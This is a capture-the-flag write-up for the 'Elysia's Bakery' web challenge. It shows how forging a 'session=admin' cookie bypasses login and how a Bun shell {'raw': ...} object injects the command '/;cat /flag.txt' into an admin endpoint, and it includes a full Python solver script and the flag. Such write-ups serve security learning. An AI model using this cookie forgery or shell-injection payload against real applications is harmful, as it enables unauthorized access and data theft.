←
$ Web: Elysia's Bakery
Flag: BITSCTF{2bb319b73df5ff13f7e0d9e4e5dab9d9}Main Points
- Authentication bypass via session cookie
- The app stores username directly in
sessioncookie and later reads it with:getSessionUser(session) => session.value
- Signature verification is effectively bypassed, so setting
session=adminis enough to become admin.
- Command injection in admin endpoint
- Vulnerable route:
POST /admin/list- Executes:
$ls ${folder}` using Bun shell interpolation.
- The input check blocks
..only whenfolderis a string:if (typeof folder === "string" && folder.includes("..")) ...
- Sending a crafted object
{"raw":"..."}bypasses validation and is treated by Bun shell as raw unescaped command content. - Payload used:
{"folder":{"raw":"/;cat /flag.txt"}}
- Result
- Full chain:
- Forge cookie:
session=admin - Trigger command injection in
/admin/list - Read
/flag.txt
- Forge cookie:
- Retrieved flag:
BITSCTF{2bb319b73df5ff13f7e0d9e4e5dab9d9}
Main Program (Solver)
Saved as: solve_elysias_bakery.py
#!/usr/bin/env python3
import re
import requests
BASE = "<http://chals.bitskrieg.in:21678>"
def main() -> None:
s = requests.Session()
# Signature is not enforced; plain session cookie works.
s.cookies.set("session", "admin")
# Bun shell accepts {"raw": "..."} as an unescaped shell fragment.
r = s.post(
f"{BASE}/admin/list",
json={"folder": {"raw": "/;cat /flag.txt"}},
timeout=10,
)
r.raise_for_status()
flag_match = re.search(r"BITSCTF\\{[^}]+\\}", r.text)
if not flag_match:
raise RuntimeError(f"Flag not found in response: {r.text}")
print(flag_match.group(0))
if __name__ == "__main__":
main()Reproduction
python3 /home/taklaman/Downloads/solve_elysias_bakery.py